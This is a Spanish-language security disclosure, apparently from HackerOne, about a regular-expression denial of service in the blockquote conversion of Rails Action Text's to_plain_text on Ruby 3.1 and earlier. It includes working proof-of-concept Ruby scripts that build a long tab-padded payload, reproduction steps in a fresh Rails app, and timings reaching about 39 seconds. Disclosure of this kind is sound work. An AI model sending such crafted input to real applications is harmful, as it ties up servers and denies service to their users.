Resumen
Action Text, el componente de Rails para contenido enriquecido, ofrece el método ActionText::Fragment#to_plain_text para convertir HTML en texto plano. Cuando en ese HTML aparece un <blockquote>, la conversión pasa por plain_text_for_blockquote_node, en actiontext/lib/action_text/plain_text_conversion.rb (línea 64 en la versión 7.1.3.2), que envuelve el texto de la cita entre comillas con esta expresión regular:
def plain_text_for_blockquote_node(node, index)
text = plain_text_for_block(node)
text.sub(/\A(\s*)(.+?)(\s*)\Z/m, '\1“\2”\3')
end
El patrón combina (\s*), (.+?) con el modificador m (que también acepta espacios y saltos de línea) y otro (\s*). Ante una cadena con muchos espacios en blanco, el motor de expresiones regulares tiene que probar muchísimas formas de repartirlos entre los tres grupos, y el tiempo crece de forma desproporcionada con la longitud de la entrada: es una denegación de servicio por expresión regular (ReDoS). El investigador lo detectó con la herramienta de análisis recheck.
El problema solo se manifiesta con Ruby 3.1 o anterior: con Ruby 3.2 y 3.3, según las mediciones del investigador, la misma expresión se resuelve en milisegundos. La misma expresión aparece también en Rails 6.1 y 7.0:
- https://github.com/rails/rails/blob/v6.1.7.7/actiontext/lib/action_text/plain_text_conversion.rb#L58
- https://github.com/rails/rails/blob/v7.0.8.1/actiontext/lib/action_text/plain_text_conversion.rb#L66
Pasos de reproducción
1. Comprobar la expresión regular de forma aislada. El investigador preparó plain_text_regexp_benchmark.rb, que construye una cadena de tabuladores, una a, más tabuladores y otra a, y le aplica el mismo sub:
require 'benchmark'
def plain(length)
text = "\t" * length + "a" + "\t" * length + "a"
text.sub(/\A(\s*)(.+?)(\s*)\Z/m, '\1“\2”\3')
end
Benchmark.bm do |x|
x.report { plain(10) }
x.report { plain(100) }
x.report { plain(1000) }
x.report { plain(10000) }
x.report { plain(100000) }
end
Con Ruby 3.1.4, multiplicar la entrada por 10 multiplica el tiempo por unas 100, hasta llegar a casi 40 segundos con 100 000 tabuladores en cada tramo:
# ruby 3.1.4
❯ ruby plain_text_regexp_benchmark.rb
user system total real
0.000008 0.000001 0.000009 ( 0.000007)
0.000055 0.000001 0.000056 ( 0.000055)
0.004528 0.000003 0.004531 ( 0.004534)
0.385151 0.000659 0.385810 ( 0.386042)
39.185124 0.129945 39.315069 ( 39.408578)
Con Ruby 3.2.3 y 3.3.0 el caso más largo se resuelve en milisegundos:
# ruby 3.2.3
❯ ruby plain_text_regexp_benchmark.rb
user system total real
0.000008 0.000001 0.000009 ( 0.000007)
0.000010 0.000001 0.000011 ( 0.000012)
0.000060 0.000022 0.000082 ( 0.000098)
0.000549 0.000064 0.000613 ( 0.000613)
0.005388 0.001199 0.006587 ( 0.006598)
# ruby 3.3.0
❯ ruby plain_text_regexp_benchmark.rb
user system total real
0.000011 0.000001 0.000012 ( 0.000008)
0.000073 0.000001 0.000074 ( 0.000073)
0.000110 0.000011 0.000121 ( 0.000122)
0.001089 0.000196 0.001285 ( 0.001285)
0.010387 0.001831 0.012218 ( 0.012250)
2. Crear una aplicación Rails 7.1.3.2 con Action Text y un modelo con un campo de texto enriquecido:
❯ rails new -C -G -T text
# => Rails 7.1.3.2
❯ rails action_text:install
❯ bundle install
❯ bundle exec bin/rails generate model Message content:rich_text
❯ bundle exec rails db:migrate
3. Guardar un mensaje cuyo contenido sea un <blockquote> con la cadena maliciosa y pedir su versión en texto plano. Fichero plain_text_benchmark.rb:
require 'benchmark'
def plain(length)
text = "\t" * length + "a" + "\t" * length + "a"
message = Message.create!(content: "<blockquote>#{text}</blockquote>")
message.content.to_plain_text
end
Benchmark.bm do |x|
x.report { plain(10) }
x.report { plain(100) }
x.report { plain(1000) }
x.report { plain(10000) }
x.report { plain(100000) }
end
4. Ejecutarlo con Ruby 3.1.4 mediante rails runner. El comportamiento es el mismo que en la prueba aislada: unos 39 segundos para la entrada más larga.
# ruby 3.1.4
❯ bundle exec rails runner plain_text_benchmark.rb
user system total real
0.031610 0.010543 0.042153 ( 0.046888)
0.003494 0.000228 0.003722 ( 0.003872)
0.007226 0.000156 0.007382 ( 0.007383)
0.396392 0.001231 0.397623 ( 0.398462)
39.107745 0.110123 39.217868 ( 39.334358)
Impacto
En una aplicación que use Action Text sobre Ruby 3.1 o anterior, si alguien envía contenido manipulado como el de arriba y la aplicación llama a to_plain_text sobre él, el proceso que lo atiende queda ocupado durante decenas de segundos consumiendo CPU: una denegación de servicio por expresión regular. Con Ruby 3.2 o posterior las mediciones del investigador no muestran el problema. El programa clasificó la severidad como baja.
Remediación
El reporte figura como resuelto en HackerOne, pero no detalla el cambio aplicado. Según las mediciones del propio investigador, con Ruby 3.2 o posterior la expresión no presenta el retroceso excesivo.
Cronología: enviado el 25 de febrero de 2024 y divulgado el 9 de junio de 2026.